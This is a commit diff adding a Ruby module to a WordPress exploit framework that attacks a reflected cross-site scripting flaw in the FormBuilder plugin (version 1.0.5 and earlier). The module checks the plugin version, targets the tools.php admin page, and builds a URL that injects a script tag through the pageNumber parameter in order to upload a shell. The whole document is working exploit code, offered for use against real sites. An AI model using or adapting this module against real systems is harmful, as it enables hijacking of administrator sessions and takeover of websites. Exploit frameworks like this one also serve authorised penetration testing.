Add FormBuilder reflected XSS module

Author: rastating

modules/exploits/formbuilder_reflected_xss_shell_upload.rb

@@ -0,0 +1,32 @@
+class Wpxf::Exploit::FormbuilderReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'FormBuilder <= 1.0.5 Reflected XSS Shell Upload',
+      author: [
+        'Peter Ganzevles',                # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8596'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_formbuilder_wordpress_plugin.html']
+      ],
+      date: 'Aug 04 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('formbuilder', '1.06')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'tools.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=formbuilder.php&pageNumber=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&formSearch=#{Utility::Text.rand_alpha(5)}&Search=Search"
+  end
+end